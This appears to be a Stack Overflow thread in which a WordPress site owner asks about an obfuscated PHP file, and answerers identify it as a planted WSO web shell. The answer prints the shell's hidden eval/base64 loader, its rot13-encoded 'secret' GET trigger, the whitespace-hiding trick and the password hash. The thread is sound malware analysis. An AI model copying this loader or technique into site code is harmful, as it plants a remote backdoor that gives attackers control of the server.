5

I found the following code in my Wordpress application, but I am not even sure in what is decoded. The first part of the file looks like this:

<?php

// Preventing a directory listing
if(!empty($_SERVER["HTTP_USER_AGENT"])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");

    if(preg_match("/" . implode("|", $userAgents) . "/i", $_SERVER["HTTP_USER_AGENT"])) {
        header("HTTP/1.0 404 Not Found");exit;
    }
} 

And the following part of the file looks like this (I posted it on gist because it would not let me put it here because it is too long): https://gist.github.com/anonymous/3ea604a58af688b11ef5

Could you guys help me to understand what this is doing?

  • I can't see any content on that github link. Also, that line seems to be commented so it will decode into nothing. – kiBytes Mar 5 '14 at 18:24
  • Please, scroll that line in gist. I am not sure why it just doesnt put it vertically... Also, what do you mean by commented? – Hommer Smith Mar 5 '14 at 18:28
  • @HommerSmith The code you pasted in here just seems to do what the comment above it says. What does the sample have to do with what you linked to on github? – Gray Mar 5 '14 at 18:32
  • Let me clarify. My text.php file looks exactly like this: gist.github.com/anonymous/85d3682bf4412e6180cb , If you scroll to the right on that file you will see the encoded thing. I am not sure why is it getting put on the right. – Hommer Smith Mar 5 '14 at 18:35
8

This definitely is something that the author did not want to looked at. Even the gist at Github looks like just the nine lines of code you’ve posted here. Just a script to avoid directory listing …

But only on first sight. Because if you look closer, the last line is enormous 91959 characters long with a lot of whitespace after the initial }.

The whole additional code is wrapped in an if statement:

if (isset($_GET[str_rot13(pack("H*", "667265707267"))]))

This checks whether $_GET['secret'] is set. The code within the if block is basically a variable holding the actual payload ($_X):

$_F=__FILE__;
$_X="…";

And a decoder:

eval(base64_decode("JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPXN0cl9yZXBsYWNlKCdfX0ZJTEVfXycsIiciLiRfRi4iJyIsJF9YKTtldmFsKCRfUik7JF9SPTA7JF9YPTA7"));

Using echo instead of eval results in:

$_X=base64_decode($_X);
$_X=strtr($_X,'123456aouie','aouie123456');
$_R=str_replace('__FILE__',"'".$_F."'",$_X);
eval($_R);
$_R=0;
$_X=0;

After another decoding step, the actual payload is decoded and reveals a WSO Web Shell version 2.5 with 2ef1d6430bce32d929d13a00fe281be8 as the MD5 hash of the password.

  • 1
    +1, I just went through the same process. I don't have anything more to add except that I confirm what Gumbo said. You've been hacked and the attacker planted a remote management console on the site. – Yolanda Ruiz Mar 5 '14 at 20:20

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.